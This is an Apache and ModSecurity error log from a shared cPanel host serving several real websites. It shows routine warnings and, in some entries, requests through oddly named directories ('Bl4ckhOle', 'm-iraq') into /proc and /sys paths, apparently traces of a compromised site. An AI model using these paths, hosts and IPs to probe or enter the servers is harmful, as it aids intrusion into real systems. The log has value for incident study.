[Fri Jul 17 10:32:17.818442 2026] [security2:error] [pid 2081387:tid 2081387] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3WfrJf6iLdwVV9Zl7jgAAABc"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:32:18.282203 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:18.293029 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:19.012506 2026] [security2:error] [pid 2076231:tid 2076231] [client 57.141.18.73:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory68/node0/memory94/node0/memory97/"] [unique_id "alm3WmG27nIfbW_ExyiJZAAAABM"]
[Fri Jul 17 10:32:19.012632 2026] [security2:error] [pid 2076231:tid 2076231] [client 57.141.18.73:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory68/node0/memory94/node0/memory97/"] [unique_id "alm3WmG27nIfbW_ExyiJZAAAABM"]
[Fri Jul 17 10:32:20.156557 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:49512] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:21.291815 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:21.303862 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:21.974747 2026] [core:error] [pid 2075690:tid 2075690] (13)Permission denied: [client 47.128.48.134:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/x86_lbr/objs_per_slab
[Fri Jul 17 10:32:23.298667 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:50386] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:24.379382 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:26.098601 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:50864] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:26.817407 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:27.682842 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:50980] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:30.411159 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/acer-laptop-and-notebook"] [unique_id "alm3ZjuaDdNRw9_WO14zwgAAAAg"]
[Fri Jul 17 10:32:30.411649 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/acer-laptop-and-notebook"] [unique_id "alm3ZjuaDdNRw9_WO14zwgAAAAg"]
[Fri Jul 17 10:32:30.411954 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/acer-laptop-and-notebook"] [unique_id "alm3ZjuaDdNRw9_WO14zwgAAAAg"]
[Fri Jul 17 10:32:31.553879 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:31.806817 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:48184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:34.164457 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:34.354658 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:36.499369 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:48362] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:36.853349 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:48370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:37.529342 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:37.631502 2026] [security2:error] [pid 2075718:tid 2075718] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3bHHGgRvC9MVf3SzJ3gAAAAI"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:32:37.631570 2026] [security2:error] [pid 2075718:tid 2075718] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3bHHGgRvC9MVf3SzJ3gAAAAI"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:32:37.663368 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:40.127607 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:41.318379 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:41.636118 2026] [core:error] [pid 2081387:tid 2081387] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:0e/eject
[Fri Jul 17 10:32:41.736463 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:13/eject
[Fri Jul 17 10:32:42.009137 2026] [core:error] [pid 2076231:tid 2076231] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup9/subsystem/wakeup11/device/device:0e/eject
[Fri Jul 17 10:32:47.487844 2026] [security2:error] [pid 2075691:tid 2075691] [client 154.80.28.201:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "dragon.lk"] [uri "/store/image/cache/catalog/SEAGATE/ST4000VX000-520-228x228.JPG"] [unique_id "alm3d5-MjlCH45ePojRLUQAAABE"]
[Fri Jul 17 10:32:47.487883 2026] [security2:error] [pid 2075691:tid 2075691] [client 154.80.28.201:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "dragon.lk"] [uri "/store/image/cache/catalog/SEAGATE/ST4000VX000-520-228x228.JPG"] [unique_id "alm3d5-MjlCH45ePojRLUQAAABE"]
[Fri Jul 17 10:32:48.742444 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:48.748887 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:48.849269 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:48.886553 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:32:48.988608 2026] [core:error] [pid 2075978:tid 2075978] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/button/unbind
[Fri Jul 17 10:32:48.989289 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/button/unbind"] [unique_id "alm3eGFjrl6DCT-Pyn8V5QAAAAo"]
[Fri Jul 17 10:32:48.989325 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/button/unbind"] [unique_id "alm3eGFjrl6DCT-Pyn8V5QAAAAo"]
[Fri Jul 17 10:32:49.089737 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/hid/drivers/magicmouse/unbind
[Fri Jul 17 10:32:54.798516 2026] [security2:error] [pid 2075978:tid 2075978] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm3fmFjrl6DCT-Pyn8V5wAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1191&page_105=1478
[Fri Jul 17 10:32:54.798560 2026] [security2:error] [pid 2075978:tid 2075978] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm3fmFjrl6DCT-Pyn8V5wAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1191&page_105=1478
[Fri Jul 17 10:32:55.189062 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:48094] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:56.246769 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:48188] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:56.774339 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:48228] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:56.981708 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:48244] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:59.250556 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:48342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:32:59.725996 2026] [core:error] [pid 2075723:tid 2075723] (13)Permission denied: [client 57.141.18.86:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory119/node0/memory74/node0/memory39/node0/compact
[Fri Jul 17 10:33:03.129121 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:35632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:07.239845 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:07.242946 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:09.450891 2026] [security2:error] [pid 2076231:tid 2076231] [client 185.191.171.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph4/node_modules/@babel/plugin-transform-runtime/lib/index.js"] [unique_id "alm3jWG27nIfbW_ExyiJfAAAABM"]
[Fri Jul 17 10:33:09.450925 2026] [security2:error] [pid 2076231:tid 2076231] [client 185.191.171.5:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph4/node_modules/@babel/plugin-transform-runtime/lib/index.js"] [unique_id "alm3jWG27nIfbW_ExyiJfAAAABM"]
[Fri Jul 17 10:33:11.803087 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:15.007603 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:41332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:16.849021 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:17.284009 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm3lTuaDdNRw9_WO14z1QAAAAg"]
[Fri Jul 17 10:33:17.284804 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm3lTuaDdNRw9_WO14z1QAAAAg"]
[Fri Jul 17 10:33:17.285147 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm3lTuaDdNRw9_WO14z1QAAAAg"]
[Fri Jul 17 10:33:17.411808 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:17.414345 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:21.511166 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:21.556954 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:21.902332 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:01/subsystem/drivers/system/unbind
[Fri Jul 17 10:33:21.903565 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:21.904439 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:22.300888 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:22.385872 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:23.129862 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:25.328653 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:45158] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:25.690964 2026] [security2:error] [pid 2075723:tid 2075723] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3nUD0S6w5KyU992IPSgAAAAM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:33:25.691016 2026] [security2:error] [pid 2075723:tid 2075723] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3nUD0S6w5KyU992IPSgAAAAM"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:33:26.257137 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:33:27.047836 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:45262] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:28.027984 2026] [security2:error] [pid 2081373:tid 2081373] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/guzzlehttp/ringphp/docs/Makefile"] [unique_id "alm3n0PK-OIDVxiTM0dxdgAAABY"]
[Fri Jul 17 10:33:28.028390 2026] [security2:error] [pid 2081373:tid 2081373] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/guzzlehttp/ringphp/docs/Makefile"] [unique_id "alm3n0PK-OIDVxiTM0dxdgAAABY"]
[Fri Jul 17 10:33:28.028746 2026] [security2:error] [pid 2081373:tid 2081373] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/guzzlehttp/ringphp/docs/Makefile"] [unique_id "alm3n0PK-OIDVxiTM0dxdgAAABY"]
[Fri Jul 17 10:33:28.681827 2026] [ssl:error] [pid 2081387:tid 2081387] (70014)End of file found: [client 66.85.158.91:45320] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:29.466509 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:45334] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:31.130280 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Loader/MoFileLoader.php"] [unique_id "alm3o_VsLAz87UqRdDoY9wAAAAA"]
[Fri Jul 17 10:33:31.130668 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Loader/MoFileLoader.php"] [unique_id "alm3o_VsLAz87UqRdDoY9wAAAAA"]
[Fri Jul 17 10:33:31.131026 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/translation/Loader/MoFileLoader.php"] [unique_id "alm3o_VsLAz87UqRdDoY9wAAAAA"]
[Fri Jul 17 10:33:32.638021 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:47606] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:33:33.707978 2026] [security2:error] [pid 2076231:tid 2076231] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Exception/ConstraintDefinitionException.php"] [unique_id "alm3pWG27nIfbW_ExyiJhwAAABM"]
[Fri Jul 17 10:33:33.708529 2026] [security2:error] [pid 2076231:tid 2076231] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/symfony/validator/Exception/ConstraintDefinitionException.php"] [unique_id "alm3pWG27nIfbW_ExyiJhwAAABM"]
